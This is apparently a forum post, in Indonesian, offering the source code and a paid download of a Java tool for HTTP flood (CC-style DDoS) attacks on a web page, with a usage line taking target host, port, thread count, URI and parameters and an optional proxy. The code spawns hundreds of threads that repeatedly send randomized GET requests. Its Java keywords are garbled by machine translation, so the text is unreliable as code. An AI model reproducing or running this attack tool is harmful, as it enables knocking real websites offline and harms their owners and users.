Kode Jar serangan dDOS yang diimplementasikan oleh java. Namun, tidak berbeda dengan dDos tradisional. Perangkat lunak ini adalah serangan DDOS pada halaman. Cara menggunakan: java -jar ccddos.jar www.xxx.com 80 10 /index.do nama pengguna=xxx 80
[mw_shl_code=java,true]impor java.io.IOException; impor java.net.ConnectException; impor java.net.InetSocketAddress; impor java.nio.ByteBuffer; impor java.nio.channels.SelectionKey; impor java.nio.channels.Selector; impor java.nio.channels.SocketChannel; impor java.util.Iterator; impor java.util.Random; impor java.util.Set; impor java.util.Timer; impor java.util.TimerTask; impor java.util.Vector;
/** * Benang daemon
* * Administrasi @author
* */ Tes kelas publik { host String pribadi, uri, param; pelabuhan int pribadi; pribadi final Vektor<CCDDOSThread> v = baru Vektor<CCDDOSThread>(); pribadi InetSocketAddress isa; utas int privatHitungan = 500; Jumlah utas pribadi Acak r = baru Acak(); batas waktu panjang pribadi = 5000l;
/** * Buka serangan */ public void start() { untuk (int i = 0; i < threadsCount; i++) { CCDDOSThread t = CCDDOSThread baru(); v.tambah(t); t.mulai();
} Pengatur waktu t = Pengatur Waktu baru(); t.schedule(new TimerTask() { public void run() { int count = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); untuk (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nol; hitung++; } else if (ct - th.start > timeout) { Batas waktu, akhir eksternal timeoutthreads++; th.setCancle(benar); th.interupsi(); it.remove(); th = nol; hitung++; } } if (hitungan == 0) { kembali; } System.out.println("Thread telah ditutup:"+count+", tempat utas batas waktu terhubung:" + utas waktu habis); untuk (int i = 0; Saya < menghitung; i++) { CCDDOSThread th = CCDDOSThread baru(); v.tambah(th); th.mulai(); } } }, 0l, 100l); System.out.println("Utas daemon dimulai:"); }
/** * @param args */ public static void main(String[] args) { if (args.length < 6) { System.out.println("Petunjuk:"); Sistem.keluar .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); Sistem.keluar(0); } else if (args.length >= 8) { Menyiapkan dengan agen System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", args[7]); }
tes m = tes baru(); m.host = args[0]; m.port = Bilangan bulat.nilaiDari(args[1]); m.uri = args[3]; m.param = args[4]; m.threadsCount = Bilangan bulat.valueOf(args[2]); m.timeout = Long.valueOf(args[5]); m.isa = InetSocketAddress baru(m.host, m.port); m.mulai(); }
/** * Utas serangan * * @author zhanghongbo * */ kelas CCDDOSThread memperluas Thread { cancle boolean pribadi = salah; public long start = System.currentTimeMillis();
public void setCancle(boolean cancle) { this.cancle = cancle; }
publik boolean isCancle() { mengembalikan cancle; }
public void run() { mulai panjang = System.currentTimeMillis(); Pemilih pemilih; coba { pemilih = Pemilih.buka(); Saluran Soket sc; coba { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = benar; pemilih.tutup(); kembali; }
sc.configureBlocking(false); sc.register(pemilih, SelectionKey.OP_WRITE | SelectionKey.OP_READ); wait: while (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - batas waktu mulai >) { cancle = benar; istirahat menunggu; } Set<?> readykey = selector.selectedKeys(); Iterator<?> it = readykey.iterator(); while (it.hasNext() && !cancle) { if (System.currentTimeMillis() - batas waktu mulai >) { cancle = benar; istirahat menunggu; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Kepala string = "GET " + uri + "?" + parameter + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Tuan rumah: " + tuan rumah + "\r\n" + "Koneksi:tutup\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.tulis(bbf); } skey.cancel(); scc.tutup(); } } pemilih.tutup(); sc.tutup();
} catch (IOException ex) { cancle = benar; } } }
} [/mw_shl_code]
Produk jadi dan unduhan kode sumber:
java ddos.zip
(8.42 KB, Jumlah unduhan: 0, Harga jual: 2 Biji-bijian MB)
|